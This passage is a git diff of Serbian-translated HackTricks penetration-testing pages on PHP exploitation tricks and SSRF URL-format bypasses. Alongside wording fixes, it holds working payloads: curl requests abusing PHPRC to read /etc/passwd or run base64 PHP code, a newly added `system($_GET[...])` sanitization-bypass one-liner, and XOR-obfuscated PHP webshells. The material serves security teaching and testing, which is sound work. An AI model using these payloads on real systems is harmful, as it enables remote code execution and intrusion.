(konfigurišući da se datoteke sa ekstenzijom .htaccess mogu **izvršiti**). +Ako možete da **otpremite** **.htaccess**, onda možete **konfigurisati** nekoliko stvari i čak izvršiti kod (konfigurišući da se datoteke sa ekstenzijom .htaccess mogu **izvršiti**). Različiti .htaccess shell-ovi mogu se naći [ovde](https://github.com/wireghoul/htshells) ### RCE putem Env Varijabli -Ako pronađete ranjivost koja vam omogućava da **modifikujete env varijable u PHP-u** (i još jednu za otpremanje datoteka, iako se možda ovo može zaobići uz više istraživanja), mogli biste da zloupotrebite ovo ponašanje da dobijete **RCE**. +Ako pronađete ranjivost koja vam omogućava da **modifikujete env varijable u PHP-u** (i još jednu za otpremanje datoteka, iako se možda ovo može zaobići uz više istraživanja), mogli biste zloupotrebiti ovo ponašanje da dobijete **RCE**. * [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Ova env varijabla vam omogućava da učitate proizvoljne biblioteke prilikom izvršavanja drugih binarnih datoteka (iako u ovom slučaju možda neće raditi). -* **`PHPRC`** : Upravlja PHP-om o **tome gde da locira svoj konfiguracioni fajl**, obično nazvan `php.ini`. Ako možete da otpremite svoj konfiguracioni fajl, onda koristite `PHPRC` da usmerite PHP ka njemu. Dodajte **`auto_prepend_file`** unos koji specificira drugi otpremljeni fajl. Ovaj drugi fajl sadrži normalan **PHP kod, koji se zatim izvršava** od strane PHP runtime-a pre bilo kog drugog koda. -1. Otpremite PHP fajl koji sadrži naš shellcode -2. Otpremite drugi fajl, koji sadrži **`auto_prepend_file`** direktivu koja upućuje PHP preprocesor da izvrši fajl koji smo otpremili u koraku 1 -3. Postavite `PHPRC` varijablu na fajl koji smo otpremili u koraku 2. +* **`PHPRC`** : Upravlja PHP-om o **tome gde da locira svoj konfiguracioni fajl**, obično nazvan `php.ini`. Ako možete da otpremite svoj konfiguracioni fajl, onda, koristite `PHPRC` da usmerite PHP ka njemu. Dodajte **`auto_prepend_file`** unos koji specificira drugu otpremanu datoteku. Ova druga datoteka sadrži normalan **PHP kod, koji se zatim izvršava** od strane PHP runtime-a pre bilo kog drugog koda. +1. Otpremite PHP datoteku koja sadrži naš shellcode +2. Otpremite drugu datoteku, koja sadrži **`auto_prepend_file`** direktivu koja upućuje PHP preprocesor da izvrši datoteku koju smo otpremili u koraku 1 +3. Postavite `PHPRC` varijablu na datoteku koju smo otpremili u koraku 2. * Dobijte više informacija o tome kako izvršiti ovaj lanac [**iz originalnog izveštaja**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/). * **PHPRC** - druga opcija -* Ako **ne možete da otpremite fajlove**, možete koristiti u FreeBSD "fajl" `/dev/fd/0` koji sadrži **`stdin`**, što je **telo** zahteva poslatog na `stdin`: +* Ako **ne možete otpremiti datoteke**, možete koristiti u FreeBSD "datoteku" `/dev/fd/0` koja sadrži **`stdin`**, što je **telo** zahteva poslatog na `stdin`: * `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'` -* Ili da dobijete RCE, omogućite **`allow_url_include`** i dodajte fajl sa **base64 PHP kodom**: +* Ili da dobijete RCE, omogućite **`allow_url_include`** i dodajte datoteku sa **base64 PHP kodom**: * `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'` * Tehnika [**iz ovog izveštaja**](https://vulncheck.com/blog/juniper-cve-2023-36845). @@ -323,6 +323,13 @@ Connection: keep-alive phpinfo(); ?> +``` +## PHP Sanitization bypass & Brain Fuck + +[**U ovom postu**](https://blog.redteam-pentesting.de/2024/moodle-rce/) moguće je pronaći sjajne ideje za generisanje brain fuck PHP koda sa vrlo malo dozvoljenih karaktera.\ +Pored toga, predložena je i zanimljiva metoda za izvršavanje funkcija koja im je omogućila da zaobiđu nekoliko provera: +```php +(1)->{system($_GET[chr(97)])} ``` ## PHP Staticka analiza @@ -336,11 +343,11 @@ Ako debagujete PHP aplikaciju, možete globalno omogućiti štampanje grešaka u ### Deobfuscating PHP code -Možete koristiti **web**[ **www.unphp.net**](http://www.unphp.net) **za deobfusciranje php koda.** +Možete koristiti **web**[ **www.unphp.net**](http://www.unphp.net) **za deobfuskaciju php koda.** ## PHP Wrappers & Protocols -PHP Wrappers i protokoli mogu vam omogućiti da **zaobiđete zaštitu za pisanje i čitanje** u sistemu i kompromitujete ga. Za [**više informacija proverite ovu stranicu**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols). +PHP Wrappers i protokoli mogu vam omogućiti da **zaobiđete zaštite za pisanje i čitanje** u sistemu i kompromitujete ga. Za [**više informacija proverite ovu stranicu**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols). ## Xdebug unauthenticated RCE @@ -383,7 +390,7 @@ $_($___); #If ¢___ not needed then $_($__), show_source(.passwd) ``` ### XOR easy shell code -Prema [**ovom izveštaju** ](https://mgp25.com/ctf/Web-challenge/) moguće je generisati jednostavan shellcode na ovaj način: +Prema [**ovoj analizi** ](https://mgp25.com/ctf/Web-challenge/) moguće je generisati jednostavan shellcode na ovaj način: ```php $_="`{{{"^"?<>/"; // $_ = '_GET'; ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]); @@ -462,8 +469,8 @@ $___($_[_]); // ASSERT($_POST[_]); {% embed url="https://websec.nl/" %} {% hint style="success" %} -Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
diff --git a/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md b/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md index a8c87476c..a33530d92 100644 --- a/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md +++ b/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md @@ -1,8 +1,8 @@ # URL Format Bypass {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -15,7 +15,7 @@ Learn & practice GCP Hacking: {% endhint %} -### Lokalne adrese +### Localhost ```bash # Localhost http://127.0.0.1:80 @@ -164,6 +164,10 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path The tool [**recollapse**](https://github.com/0xacb/recollapse) can generate variations from a given input to try to bypass the used regex. Check [**this post**](https://0xacb.com/2022/11/21/recollapse/) also for more information. +### Automatic Custom Wordlists + +Check out the [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) from portswigger gde možete uneti dozvoljeni host i napadačev, i generisaće listu URL-ova koje možete isprobati. Takođe uzima u obzir da li možete koristiti URL u parametru, u Host header-u ili u CORS header-u. + ### Bypass via redirect Moguće je da server **filtrira originalni zahtev** za SSRF **ali ne** mogući **redirect** odgovor na taj zahtev.\ @@ -191,9 +195,9 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever() ``` ## Objašnjeni trikovi -### Trik sa obrnutim kosom crtom +### Blackslash-trik -Trik sa _obrnutoj kosoj crti_ koristi razliku između [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) i [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Dok je RFC3986 opšti okvir za URI, WHATWG je specifičan za web URL-ove i usvojen je od strane modernih pregledača. Ključna razlika leži u prepoznavanju obrnutih kosa crta (`\`) kao ekvivalentnih običnim kosim crtama (`/`) u WHATWG standardu, što utiče na to kako se URL-ovi analiziraju, posebno označavajući prelaz sa imena hosta na putanju u URL-u. +_Backslash-trik_ koristi razliku između [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) i [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Dok je RFC3986 opšti okvir za URI, WHATWG je specifičan za web URL-ove i usvojen je od strane modernih pregledača. Ključna razlika leži u prepoznavanju backslash-a (`\`) kao ekvivalentnog za forward slash (`/`) u WHATWG standardu, što utiče na to kako se URL-ovi analiziraju, posebno označavajući prelaz sa imena hosta na putanju u URL-u. ![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg) @@ -208,10 +212,9 @@ slika sa [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-co * [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25) * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md) - {% hint style="success" %} -Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)